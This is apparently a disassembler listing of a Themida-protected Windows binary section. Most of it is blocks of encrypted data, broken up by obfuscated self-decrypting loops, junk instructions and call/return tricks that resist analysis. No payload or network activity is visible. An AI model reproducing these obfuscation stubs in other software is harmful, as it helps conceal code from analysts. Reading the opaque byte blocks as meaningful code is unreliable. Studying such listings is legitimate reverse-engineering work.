dd 0B9ADEC1Eh, 166131C4h, 9533EE11h, 614235Dh, 0EE9h, 0F616EC00h
dd 0E6EACE11h, 0C00FE4DBh, 0C72FA0F5h, 14064D85h, 5D9806h
dd 0B71BF00h, 0BD314110h, 61431CDh, 267185C7h, 614h, 95890000h
dd 6142E6Dh, 0C4DB5FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 5BB1BFC3h, 0A7C4B7F8h
dd 0E840BA36h, 0Fh, 9D2B390Dh, 0D9941C47h, 94768102h, 0F38897Bh
dd 38Eh, 0F9BF0F00h, 6195FF58h, 6A061423h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 2885C350h
dd 0C5C9F65Eh, 3F75201Dh, 6DDF8166h, 0FF006AC9h, 14116995h
dd 0EBC08B06h, 0E3BD284Ah, 38A83DE9h, 355F8D31h, 0E6AB166Bh
dd 3A6BB97Ah, 197E4175h, 5004EDB1h, 5AB5EA67h, 0D28146A2h
dd 4BE24048h, 34FE8419h, 236542C4h, 0BB76DE8Ah, 0C8927E18h
dd 637D83D3h, 0A93B9CFBh, 0C0C0D46Ch, 0CC3D65FCh, 0E8995766h
dd 6, 0BB8CB9A5h, 0F55BFFEEh, 5CA6C381h, 810F0000h, 6
dd 2E418589h, 0FABF0614h, 89000016h, 1430F18Dh, 8B038B06h
dd 140D3595h, 1EC08106h, 6053B31Ch, 8B53C3B3h, 816159CEh
dd 933E0E8h, 12E94Eh, 55150000h, 2C4B2726h, 0A75B3616h
dd 41AF2057h, 53A938F0h, 7FA6F081h, 0FE97A9Dh, 0B6000000h
dd 0A8E2B756h, 7BE0A9D7h, 0BC2781B5h, 8B503EBBh, 0E9038FF2h
dd 0Ch, 27388ED7h, 0B192F1FDh, 0F6DE0A50h, 6604EB83h, 81DA23B9h
dd 1EFh, 11850F00h, 66000000h, 0E9ED7CB9h, 1Eh, 24D1431Fh
dd 5F21F38Bh, 200BBE66h, 0FFFF70E9h, 0C9F9FFFh, 0D0F64717h
dd 6DD4B708h, 11E8C9F8h, 7C000000h, 3E25AEA6h, 66AEA9BDh
dd 0BF0C2751h, 37CE5484h, 0F08B6659h, 75CCC181h, 0C38A0000h
dd 0BFh, 0C6B70F00h, 8A0F34FFh, 89605AFCh, 1400919Dh, 0C5858906h
dd 6106141Bh, 0DEE8EA81h, 0E3812AE2h, 12319672h, 13E2F281h
dd 81660517h, 814387D0h, 0C7BC23F2h, 0C28B6642h, 0B1B50152h
dd 8F06140Bh, 860F3904h, 3, 0F89E080h, 688h, 49B52300h
dd 83061419h, 84BE04EFh, 8154C9B3h, 0FF8AF4FFh, 1A850FFFh
dd 89000000h, 1422DD85h, 2DE906h, 28D90000h, 4FFCA2h, 0BDCA5BFBh
dd 0F80CD2DDh, 0C314B84Eh, 75E91D07h, 0ACFFFFFFh, 769CC805h
dd 0A4327FB9h, 51BA61ADh, 3F50EC13h, 8DF22E6Ah, 1AE75D8Dh
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 0A53FD16Ch, 4B10A967h, 2DB58977h, 66061400h
dd 8D89F98Bh, 6143229h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 14h, 9AC35747h, 64D85C7h, 72840614h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 0EADE56C3h, 0BB74DA96h, 0FA37636h, 0B86h, 58D0F00h
dd 66000000h, 5B76EF81h, 267185C7h, 614h, 0D3810000h, 599E9B88h
dd 0C4DB5FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 7BCE50C3h, 0AE01AC6Bh, 0FFDA8B4Eh
dd 14236195h, 0FF006A06h, 14116995h, 0EBC08B06h, 0EDC9EE4Ah
dd 88A98F8Ch, 899C3179h, 6252799Bh, 8728E4A6h, 0FAAEB506h
dd 25439360h, 9EB3C1B1h, 0B0D49C86h, 0AB5CE4CAh, 0E6904A4h
dd 18D02664h, 9A6E7A7Dh, 0A3A39605h, 86DC5F5Eh, 0C9F333B2h
dd 8F9FD838h, 2C6AF582h, 8DAC6127h, 1AE8918Dh, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 1D293DF0h, 298D89FCh, 6A061432h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 7F7AC357h
dd 895A1C0Dh, 1425F59Dh, 4D85C706h, 0F0061406h, 6A000072h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 7CE9C357h, 1A20FC8Dh, 0F2C3088h, 687h, 59B58900h
dd 2906140Ch, 1420318Dh, 0F8BF0F06h, 267185C7h, 614h, 6E90000h
dd 7000000h, 13D61DCBh, 4DB5FF2Bh, 6A06140Ch, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 1A68C357h, 65C956C0h, 0FF44DF78h, 14236195h, 0FEBB6606h
dd 0FF006A36h, 14116995h, 0EBC08B06h, 0AC02324Ah, 7138684Eh
dd 0F34C4295h, 75735510h, 0F1E1F080h, 4D30CF2Eh, 0CDDAF9D0h
dd 2E9B4813h, 0DDB169D1h, 0DE8E253Eh, 0FB623912h, 6712B7Dh
dd 0C16D20Fh, 1D4B467Ch, 41274C56h, 20D9D2B8h, 979F3011h
dd 0C4F623B1h, 8D8615B4h, 1AE9758Dh, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 8D9D3111h
dd 89061421h, 1432298Dh, 6E906h, 5AA90000h, 4BC8BA6Eh
dd 2B99589h, 85C70614h, 614064Dh, 6074h, 0C359D89h, 85C70614h
dd 6142671h, 0
; ---------------------------------------------------------------------------
mov [ebp+6140955h], esi
push dword ptr [ebp+6141071h]
call dword ptr [ebp+6142361h]
push 0
push edi
call sub_5B7535
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B7535 proc near ; CODE XREF: Themida_:005B752Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_5B7535 endp
; ---------------------------------------------------------------------------
xlat
dec edx
inc ebx
shl byte ptr [edx], cl
aas
or al, 0B7h
push 0
call dword ptr [ebp+6141169h]
mov eax, eax
jmp short loc_5B7568
; ---------------------------------------------------------------------------
db 82h, 7Ah, 1Dh
dd 653A7B4Fh, 10BAE66Bh, 2C1C3F32h
; ---------------------------------------------------------------------------
loc_5B7568: ; CODE XREF: Themida_:005B7557j
call sub_5B7578
sbb eax, 37A8C223h
daa
retn 0A984h
; ---------------------------------------------------------------------------
dw 0C5A7h
; =============== S U B R O U T I N E =======================================
sub_5B7578 proc near ; CODE XREF: Themida_:loc_5B7568p
mov cx, 36A1h
pop ebx
movsx edx, di
add ebx, 5E42h
xor dx, 38D8h
push 1768h
pop edi
and ah, 0B9h
loc_5B7594: ; CODE XREF: sub_5B7578+70j
mov esi, [ebx]
pusha
mov [ebp+61402F9h], edi
xor dx, 946Ch
popa
sub esi, 1DF90202h
pusha
cmc
mov edi, 54D23B7Dh
popa
add esi, 574926Dh
mov ecx, eax
xor esi, 0E000666h
and eax, 453125AFh
mov [ebx], esi
add eax, [ebp+6142C65h]
sub ebx, 0FF384BFh
jnz loc_5B75DE
mov ecx, 748BCF48h
loc_5B75DE: ; CODE XREF: sub_5B7578+5Bj
add ebx, 0FF384BBh
cmc
sub edi, 1
jnz loc_5B7594
jnp near ptr loc_5B760F+4
jp near ptr loc_5B760F+4
call near ptr loc_5B760F+3
ror byte ptr [edi+3FEFEF1Fh], cl
xor ebp, [esi-0Fh]
cmp eax, 0B0BD8FE0h
std
push esp
loc_5B760F: ; CODE XREF: sub_5B7578+82p
; sub_5B7578+76j ...
adc eax, 10E8596Dh
sub_5B7578 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 0B3BA5B0Bh, 0AA32F49h, 0E8A7160Fh, 0B784401Ah, 21E78166h
dd 0C1815970h, 5BC3h, 3CD952Bh, 0CF680614h, 0F000016h
dd 87h, 0BF665800h, 198BB313h, 540ABF66h, 7E8BEB81h, 8D895CF0h
dd 614306Dh, 7983C381h, 98B26211h, 17F5C381h, 840F7E1Ah
dd 6, 31A5BD8Bh, 19890614h, 0E981F38Bh, 31AF55EFh, 0CDD9D89h
dd 0C1810614h, 31AF55EBh, 25B59D89h, 0E8810614h, 1, 0FFAC850Fh
dd 8166FFFFh, 8D8B5AF6h, 1AEBAE8Dh, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 24C526D3h
dd 68F0Fh, 0CE810000h, 123ABDBAh, 32298D89h, 6A0614h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 17C12DC3h, 85C7DCB4h, 614064Dh, 751Ch, 267185C7h, 614h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 438974C3h, 4ACD1B9Bh, 0B5899021h, 6140621h
dd 0D49B5FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 27C38EC3h, 33FDC9DEh, 0FFF90CA4h
dd 14236195h, 10E96006h, 0EF000000h, 8860C9ABh, 8D1F3D76h
dd 2B5E176Dh, 61E22958h, 31458D89h, 6A0614h, 116995FFh
dd 0C08B0614h, 477849EBh, 0E19FEA71h, 0F8092D86h, 0B347CAA5h
dd 0BEB36144h, 0E09FA3F2h, 33A64BD1h, 0FC20CE27h, 0F04D2C5h
dd 87B761E0h, 9B3E5B3Fh, 0C189B2B4h, 0D93419DBh, 14536AE2h
dd 70B97194h, 0AAAE259Eh, 995B00EFh, 3A8D9A66h, 0E88BDA07h
dd 6, 1BA31EFh, 0A8B2D7ACh, 81EFB05Fh, 5FE3C7h, 6880F00h
dd 31000000h, 1434CD85h, 0E8F63306h, 12h, 0C1C8B022h, 576DCDE4h
dd 7DC1D3C6h, 6FD55D29h, 860F2294h, 6, 0CBCCCB81h, 0FF5847D2h
dd 9573E34h, 140965BDh, 1595B06h, 1403699Dh, 0A2C18106h
dd 8B26C68Fh, 14348D85h, 0C8C18106h, 8137D917h, 0E352C3F1h
dd 9E96Ah, 4B080000h, 0ADD0410Fh, 512D1695h, 48FC38Bh
dd 0CE937h, 0B49F0000h, 0AA1E2C6h, 0CEDF62F5h, 10E8E488h
db 3 dup(0)
byte_5B7877 db 6Fh ; DATA XREF: Themida_:0054B1C0o
; ---------------------------------------------------------------------------
sub al, bh
add [edi], esi
push esi
xchg al, [ebx+esi*8]
dec eax
jnp short near ptr loc_5B789F+1
inc esi
retf 0ECBAh
; ---------------------------------------------------------------------------
jmp loc_5B7894
; ---------------------------------------------------------------------------
dd 0BE7E8C66h, 1B13C697h
; ---------------------------------------------------------------------------
loc_5B7894: ; CODE XREF: Themida_:005B7887j
pop edx
sub esi, 1
mov bx, di
dec esi
dec esi
dec esi
cld
loc_5B789F: ; CODE XREF: Themida_:005B7881j
cmp esi, 0FFFFA0F0h
jnz near ptr dword_5B7618+20Bh
jg loc_5B78B7
mov eax, [ebp+614199Dh]
loc_5B78B7: ; CODE XREF: Themida_:005B78ABj
call near ptr loc_5B78BD+4
setalc
loc_5B78BD: ; CODE XREF: Themida_:loc_5B78B7p
mov eax, 0BB2B7811h
adc al, [edx-74A1B19Ch]
mov ebp, 614022Dh
add esi, 5AB0h
pusha
mov [ebp+61425E1h], edx
jnp loc_5B78E3
mov bx, si
loc_5B78E3: ; CODE XREF: Themida_:005B78DAj
popa
push 1685h
and ebx, [ebp+6140EE1h]
pop eax
js loc_5B7900
pusha
push esi
pop ecx
mov [ebp+6141B99h], edx
popa
loc_5B7900: ; CODE XREF: Themida_:005B78F0j
; Themida_:005B7950j
mov ecx, [esi]
pusha
stc
mov cx, 78A3h
popa
sub ecx, 7DEAA97Ah
mov [ebp+61416EDh], edx
sub ecx, 3FBEE681h
ja loc_5B7923
mov dl, 73h
loc_5B7923: ; CODE XREF: Themida_:005B791Bj
sub ecx, 59D4A2BEh
mov edx, [ebp+6140B21h]
mov [esi], ecx
sub [ebp+61429C1h], edx
sub esi, 21C0195Ah
mov [ebp+614261Dh], edx
add esi, 21C01956h
mov edx, [ebp+6140055h]
dec eax
jnz loc_5B7900
js $+6
call loc_5B7966
retn 29C7h
; ---------------------------------------------------------------------------
db 67h, 3Dh
; ---------------------------------------------------------------------------
loc_5B7966: ; CODE XREF: Themida_:005B795Cp
mov di, 94FCh
pop eax
cld
add eax, 6195h
mov edx, [ebp+614257Dh]
mov ecx, 0
jmp loc_5B798D
; ---------------------------------------------------------------------------
dw 0CF38h
dd 3186FD1Ah, 89CE0EB3h
db 15h
; ---------------------------------------------------------------------------
loc_5B798D: ; CODE XREF: Themida_:005B797Dj
; Themida_:005B79EDj
push dword ptr [ecx+eax]
mov si, ax
pop ebx
jmp loc_5B799F
; ---------------------------------------------------------------------------
db 28h, 0EAh, 0B0h
db 80h, 0A5h, 82h
; ---------------------------------------------------------------------------
loc_5B799F: ; CODE XREF: Themida_:005B7994j
add ebx, 32FA504Dh
jmp loc_5B79BD
; ---------------------------------------------------------------------------
dw 0CF56h
; ---------------------------------------------------------------------------
push 69F80DA3h
cli
popa
or [edi+edx*2-29h], eax
fidivr word ptr [ecx-322C8DA9h]
loc_5B79BD: ; CODE XREF: Themida_:005B79A5j
sub ebx, 23D2B4B4h
movzx edx, di
xor ebx, 4C2E93Ch
push ebx
pop edx
mov [eax+ecx], ebx
cld
mov esi, 923D2E9h
sub ecx, 2
mov edx, [ebp+614210Dh]
dec ecx
dec ecx
sub dx, 9A4Ch
cmp ecx, 0FFFF9EFCh
jnz loc_5B798D
mov di, bx
inc edx
lodsb
xor al, 0A2h
push es
and al, 7Ch
mov ds:3BB37D7Ah, al
; ---------------------------------------------------------------------------
dw 318Fh
dd 2A218024h, 259083B4h, 25C46F30h, 98A78630h, 23068A11h
dd 5A8D8930h, 0A6848630h, 31560F8Dh, 0A12E8636h, 25908642h
dd 3F1103F6h, 4D6A8024h, 0A9279C97h, 0C22DB2B1h, 0DAA0F1FDh
dd 314EA785h, 0FEA40B36h, 0DA9691B0h, 0E3B80DE0h, 313EDFB5h
dd 8C7AC836h, 0A48E53D4h, 166DA204h, 90BDA9A7h, 233592B9h
dd 0A54B03BDh, 0F5B78027h, 359D7EBBh, 0CC128630h, 25098638h
dd 2B018996h, 6C428630h, 0A02E4F3Bh, 0DA6F79C0h, 25488BD9h
dd 5CB90B30h, 9D14927Dh, 25098635h, 980965CFh, 23586827h
dd 0CBF40BBDh, 3728802Ah, 0ECEB615h, 0AC4247FFh, 2406A234h
dd 7D7AA27Ch, 318F3BB3h, 2A218024h, 259083B4h, 25C46F30h
dd 98A78630h, 0F305E983h, 22B9A4h, 1CE90000h, 26000000h
dd 3BAAF0h, 5 dup(0)
dd 0E9000000h, 8D9h, 0C416A933h, 7FD1ECE7h, 398B30A2h
dd 0EE40795Ch, 0A5F7C611h, 73644C6Ch, 0B61BF84Ah, 4D4B103h
dd 4A8C69BBh, 8B131F71h, 0CD69F85h, 51B8B358h, 34894A17h
dd 0E7DEC105h, 716551F1h, 0A810498Bh, 4F9C9B04h, 348C3883h
dd 6E4A9Ch, 310850h, 0C1D7E1B3h, 363C4271h, 57E5AD9Bh
dd 2835E109h, 0DFBC0EAFh, 8F4714F7h, 0ACC0A62Ch, 0ACD45806h
dd 9A46795Fh, 0F1FEAA42h, 0C68ED6E5h, 1A7FCBEFh, 75FB61FFh
dd 5806258Fh, 0AA0FC6A3h, 0DF0EA6FEh, 0E39F0375h, 6655814Eh
dd 11AA2C37h, 0B3E481BFh, 0A37AF8D9h, 0C0DC4E0Dh, 902BABFEh
dd 6463C9F8h, 7A000000h, 8F43C512h, 0B35F5A77h, 7F2BC35Bh
dd 0A2A86572h, 51F1E7BCh, 6410A8D0h, 94407B57h, 0C16D5087h
dd 0E6CB87ABh, 7FB2D034h, 6A9926B2h, 0F345785Fh, 0EDEDB0B5h
dd 294EFEh, 17650000h, 1308D4Ah, 30DCE1F6h, 0F1E807EAh
dd 0D1719551h, 874CBC1Bh, 7C828A36h, 51F1E796h, 52EA82AAh
dd 2D2200h, 12790000h, 0E8B0F8C5h, 0F1E7FCE2h, 0B9E81051h
dd 0E825094Fh, 0A38751F1h, 338A4DE7h, 0ED3209E1h, 8B0B7E75h
dd 4FFBE1E7h, 0E70F51F2h, 1339204Fh, 0E4B1F9A5h, 0C51DC9F2h
dd 0B38A9096h, 0A957E539h, 19E5CBD1h, 0D1F95806h, 0C16D4E84h
dd 1825D169h, 0E2B901BAh, 0D361F880h, 0A21BB864h, 0D7069EF6h
dd 0D3E8EAC7h, 1AD1B27h, 2329F1B9h, 5806E33Dh, 6B207CAh
dd 91C0E8AEh, 0FA08624Dh, 2026EE5Dh, 5E1B083Ah, 73F7264Eh
dd 0A84A9F4Bh, 488A57EAh, 0F8A419BEh, 0CED908A0h, 0A08CF804h
dd 9DCBBE65h, 7ED68239h, 1FFC4EE6h, 165C08B3h, 5E1B9220h
dd 4AE2A0C4h, 0D3627488h, 1404B483h, 17712A7Ch, 9B81874Fh
dd 0AF51F1E7h, 0E81B0187h, 572F51F1h, 0F1E86B51h, 0BF577F51h
dd 6D1D8690h, 897F5825h, 6FC7734Ah, 0B3C1A8D7h, 0F7C412CAh
dd 0B1540DCEh, 1EDE5C4h, 575Ah, 4A177100h, 2A822E8Bh, 1AC6F5DDh
dd 208993C2h, 0E5B304B3h, 0DA221D8Eh, 0F2C2EED4h, 42DA0251h
dd 0E3401719h, 54298471h, 3E444A79h, 51F1FB58h, 171B446Ch
dd 8C4A176Eh, 0FC2B832Fh, 0B1DAE1F1h, 0DFC14017h, 7AEDA9A2h
dd 55AC120Ch, 12412CAFh, 53115E05h, 68000000h, 0B4FCAA13h
dd 381E24ECh, 4C51F1E8h, 0E7B89E24h, 0F4CC51F1h, 0F1E808EEh
dd 5CF41C51h, 1117462Dh, 51F1E82Bh, 17C5EE54h, 91C7840h
dd 0AFDE2AC2h, 401700A9h, 0C9E14800h, 1D285739h, 0F1BE06B5h
dd 0D22AD6E5h, 4A10BCA3h, 0E7967C82h, 82AA51F1h, 0C4126C53h
dd 6C434BF7h, 0A3B24FD1h, 8CD0FFFBh, 51F56D38h, 0F0492038h
dd 71DF9157h, 0A489AC9h, 85D7E4F2h, 0E28E2FA8h, 73BB02D5h
dd 0E38F2CA6h, 80F25C8Bh, 0FECB7E1Ch, 0ACB7E6D3h, 240922Bh
dd 0FEE96263h, 439Bh, 0C5CB9300h, 51F682DFh, 0B59CCBF3h
dd 4BF7C412h, 0E52DD13Fh, 3687501Dh, 0BF03328Ah, 57E500DCh
dd 0AD7AC2EAh, 444A9229h, 5806015Eh, 0B11B4A72h, 0E28E2FA4h
dd 0EBA01D5h, 5554F6DAh, 0E51F3B9Fh, 0BF78CAF1h, 4BF7C412h
dd 0E52DD13Fh, 0EA40C018h, 14FA7BB6h, 1E7622BAh, 0AB605D1h
dd 0B57D83B2h, 6B720EDh, 967C025Ah, 0AA51F2B2h, 140F5382h
dd 4257E5E2h, 19F0C81Ah, 98FEEE23h, 0F8DB2808h, 4B8B96C5h
dd 0B6512870h, 480E7348h, 0BF056F9Eh, 0DA1808BAh, 629AB81Ch
dd 18F54774h, 4551FDBEh, 0D9DF27D7h, 0E26C0BB2h, 0F6CE2048h
dd 0C42282Eh, 2E56E28Dh, 0AA1318FFh, 0CAB3D3FCh, 0AFF7C412h
dd 38617FD8h, 0B0FD0DA5h, 81689728h, 63494F17h, 7751F1E8h
dd 3810204Fh, 2655686Bh, 0E5C4B13Fh, 515A01EDh, 52000000h
dd 19B94D85h, 69EF6A2h, 0BEAB025Ah, 8F5F9FDDh, 134F3665h
dd 0E7B4FCAAh, 0FFBC1AEAh, 0B763FB53h, 1749305Fh, 0F1E82B11h
dd 1583F51h, 3650E233h, 0F987AF31h, 20F480A2h, 6E175F88h
dd 454BC012h, 51F1E85Fh, 8AB34B73h, 20116910h, 68000000h
dd 0D3FCAA13h, 0E82B1117h, 0EE5451F1h, 126E17C5h, 10D2FBC0h
dd 967C824Ah, 0AA51F1E7h, 126C5382h, 0D8AFF7C4h, 0A9C419E3h
dd 60CAF99Eh, 10C39058h, 23A901ADh, 51F2363Dh, 8D737951h
dd 0A151F235h, 3E94E179h, 4A79D17Dh, 0F5B6B206h, 0C4EB251h
dd 60A630FDh, 459D4972h, 63737EADh, 0F58D30A3h, 0F711C6A3h
dd 19461FE1h, 4C31B49Fh, 2B805DB4h, 78DAE861h, 0B02734E0h
dd 8BEF610Dh, 1BA235CFh, 0D8DA8BC9h, 3824FEE9h, 3B000000h
dd 4147C412h, 51F1E85Bh, 3AF476Fh, 1A2689F7h, 7B95F7E0h
dd 252B730Bh, 57E56B6Ah, 0B108C996h, 0FA7EAD05h, 4CB026D2h
dd 0DBE0F60Eh, 0C9DAB189h, 8756AAEAh, 125C4372h, 0B72138C4h
dd 0B61BFC2h, 4DBBC773h, 458C59A1h, 393F4574h, 57E5F1E6h
dd 0A42FFCD4h, 0D2AD9319h, 99C15806h, 0F6C61542h, 10A8FA08h
dd 0AA1305BEh, 0CAB3D3FCh, 9542C412h, 8C247C28h, 0B1540D63h
dd 1EDE5C4h, 405Ah, 0AA137100h, 4F17D3FCh, 0B0B65382h
dd 51F1E7CAh, 0EF1EB6DEh, 0F1E7C5ABh, 88B1D951h, 0C0126E17h
dd 6910D2FBh, 63494F17h, 7751F1E8h, 4114204Fh, 4C000000h
dd 0E7987E84h, 0CFAC51F1h, 0F120B803h, 8E4A170Ah, 0FE2D8531h
dd 0B2DB8BF4h, 50824F17h, 12F83C6Bh, 3B51F1E8h, 6E17ACD5h
dd 0B3FBC012h, 7B41EEBh, 0F1E79B81h, 5887AF51h, 7D4A1071h
dd 4C336259h, 4BF7C412h, 8F757B43h, 0A351F1E7h, 472D337Bh
dd 5B51F1E8h, 6CC00433h, 6C51F568h, 24B24A08h, 0C7784F97h
dd 0BFC12010h, 0C5A2B2E1h, 0F2FEAA11h, 0CC94DC84h, 0B6E5D8FFh
dd 0E953A372h, 0FF517957h, 0FCAA1346h, 29C4DDB4h, 9EC0A6ACh
dd 0ACD451F2h, 0A3B3DD55h, 0F279B79Dh, 0BA3CB51h, 4A17F5DCh
dd 9B053489h, 0F7C412B2h, 0B1540DCEh, 1EDE5C4h, 495Ah
dd 0AA137100h, 1117D3FCh, 51F1E82Bh, 17EE173Fh, 433884Ah
dd 4A1755FEh, 2A822E8Bh, 98C7F6DDh, 1CB7458Dh, 0F8DEE4BBh
dd 0C51F20Bh, 81278DE4h, 10F821B9h, 67567D4Ah, 952AAEBBh
dd 0ACF991E9h, 80679627h, 3511h, 0AA136800h, 832F8A47h
dd 176A932Bh, 22F34140h, 0D201A0E1h, 66E0C6CCh, 0A57251F2h
dd 0D6E38F2Eh, 0BA12BEFBh, 1E84F322h, 126E17F5h, 10D2FBC0h
dd 65547D4Ah, 0C4124F36h, 0F5E2AFF7h, 0E141CC8h, 51F1E828h
dd 4D7C143Ch, 68499DE3h, 0E54951F5h, 74478FA5h, 2A914522h
dd 5C04727Eh, 821B0E14h, 6C4957E9h, 4FA7536Ch, 79986FB7h
dd 7AEDBA95h, 8154A08Eh, 0A139266Fh, 13A96272h, 0B3D3FCAAh
dd 0F7C412CAh, 0B1540DCEh, 1EDE5C4h, 615Ah, 4A177100h
dd 76832F8Ch, 7AC75F5Ch, 5CB4605Dh, 0CBA232Dh, 0FE4017E3h
dd 7544914Eh, 0F9B6191Eh, 0F2310DF3h, 61F92151h, 40262C32h
dd 5451F231h, 161CE42Ch, 51F23130h, 0F5A118BDh, 80AFD79Dh
dd 176E1799h, 0E12E8B4Ah, 0C31BC7F6h, 72498994h, 734A1049h
dd 5CDF850Eh, 0CEB5E4CDh, 2611h, 0AA136800h, 4017D3FCh
dd 0CC327F51h, 0F4055C89h, 0B5540DF0h, 11171D4Ch, 51F21C2Bh
dd 17C5EE54h, 0FBC0126Eh, 126910D2h, 3F4BF7C4h, 0DFE52DD1h
dd 57E50A40h, 339F6C34h, 0FE84DC88h, 58060A18h, 9BEA4AAh
dd 0AAD25806h, 6E74BCE4h, 58060A88h, 0C145749Ch, 0FD6B4799h
dd 21030951h, 2D5DFF1Ah, 89515905h, 20F99D83h, 3C89B15Eh
dd 0ECF72697h, 0A27FD1EAh, 723F8734h, 0A1AE5A5Fh, 0BEED8534h
dd 22B0E54h, 0E5497B71h, 11C794A5h, 7BAA02AEh, 3556670h
dd 775D632Bh
dd 8B9BD102h, 0AD293463h, 8055620Eh, 51808D39h, 0C2DD67A9h
dd 5BF37257h, 8C31A2AFh, 44066AE0h, 0B9C9AFB5h, 0B5DD9BD1h
dd 0A4E6881Dh, 23754690h, 7F2B9046h, 1671h, 0DBE1A900h
dd 9BD1B9F5h, 0CBB2E109h, 2FA4017h, 0F06DD08Bh, 122188C1h
dd 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h
dd 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h, 7D4868h
dd 24048900h, 66BB68h, 242C8900h, 62568h, 243C8900h, 403ABF57h
dd 0CF812273h, 4E3910BFh, 7537EF81h, 0F7812110h, 4B7034A9h
dd 89FA8952h, 685F5AD5h, 1181h, 83242489h, 5F042404h, 4EC81h
dd 2C890000h, 8478F24h, 5F2434FFh, 4C481h, 34FF0000h, 0C4835D24h
dd 862DE904h, 64ACFFF9h, 0B9962B5Ch, 0F78DB8DFh, 0C503061Ah
dd 1B68E0FFh, 79081725h, 6E3F5C23h, 49214C8h, 70DF5ED4h
dd 0C8BE604Eh, 0B5061033h, 58E0C24h, 9AB969FEh, 7E83CC1h
dd 0C000000h, 0D13083D8h, 840F147Bh, 3, 5EDA8B66h, 0C681F48Ah
dd 6988h, 0A1CF8166h, 6865h, 0B2580000h, 3034FF8Fh, 10E959h
dd 5C6B0000h, 0A15C3A20h, 0EB79223Ch, 0E96E9B88h, 0C181D992h
dd 349964F9h, 81C8CE80h, 0AC1A9EE9h, 0CCC18165h, 0BB75DE9Fh
dd 52D81587h, 66060C89h, 8311DBBFh, 8B6602E8h, 664848F8h
dd 0F881D88Bh, 0FFFF96ECh, 0FFAF850Fh, 8DFCFFFFh, 1AF96F8Dh
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 0FDFFEB1h, 0D78AF0BFh, 32298D89h, 6A0614h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 0D1A9B6C3h, 881B38D2h, 4D85C72Bh, 0CC061406h, 8B00005Bh
dd 140CC585h, 7185C706h, 61426h, 89000000h, 141A899Dh
dd 0E2DF8006h, 2E1B5FFh, 8D890614h, 6142591h, 236195FFh
dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 8FBB1BC3h, 0A921556Eh, 0FBA6E5Ah, 0F8Fh
dd 0AE900h, 0FE030000h, 96070639h, 3EC9B1BDh, 6AF8BF0Fh
dd 6995FF00h
; ---------------------------------------------------------------------------
loc_5B854C: ; DATA XREF: Themida_:0054B170o
adc [esi+eax], edx
mov eax, eax
jmp short loc_5B8570
; ---------------------------------------------------------------------------
db 0CDh
dd 660A08EDh, 70F80EB5h, 3F4D3947h, 0EB906041h, 0E761B0F1h
dd 2F7D1792h, 91BEF017h
; ---------------------------------------------------------------------------
loc_5B8570: ; CODE XREF: Themida_:005B8551j
lea ecx, [ebp+61AFA64h]
call sub_5B858B
sahf
sahf
mov edi, [ebp+7F2113D4h]
jmp far ptr 5229h:0E8ECEB3Dh
; ---------------------------------------------------------------------------
db 0B2h
; =============== S U B R O U T I N E =======================================
sub_5B858B proc near ; CODE XREF: Themida_:005B8576p
call near ptr loc_5B8590+5
loc_5B8590: ; CODE XREF: sub_5B858Bp
imul edx, [edx-16CBC9A7h], 10h
sub_5B858B endp ; sp-analysis failed
xor esi, edi
pop edi
mov esp, 0EB1F2BB3h
xchg al, [edi+53D9F7C4h]
int 0F2h
pop eax
pop eax
jp loc_5B85B4
mov esi, ebx
loc_5B85B4: ; CODE XREF: Themida_:005B85ACj
mov [ebp+6143229h], ecx
push 0
push eax
call sub_5B85C5
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B85C5 proc near ; CODE XREF: Themida_:005B85BDp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5B85C5 endp
; ---------------------------------------------------------------------------
dec eax
xchg esp, esi
push ds
mov bl, 7Dh
mov dword ptr [ebp+614064Dh], 584Ch
sub ebx, [ebp+6140945h]
mov dword ptr [ebp+6142671h], 0
push 0
push ebp
call sub_5B8600
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8600 proc near ; CODE XREF: Themida_:005B85F8p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5B8600 endp
; ---------------------------------------------------------------------------
jecxz short loc_5B8644
adc byte ptr [edi-1A62CE58h], 12h
adc al, 6
push dword ptr [ebp+61406A5h]
call dword ptr [ebp+6142361h]
jmp loc_5B863C
; ---------------------------------------------------------------------------
dd 30D942F0h, 1F863357h, 2999945Ch, 0B60D4991h
; ---------------------------------------------------------------------------
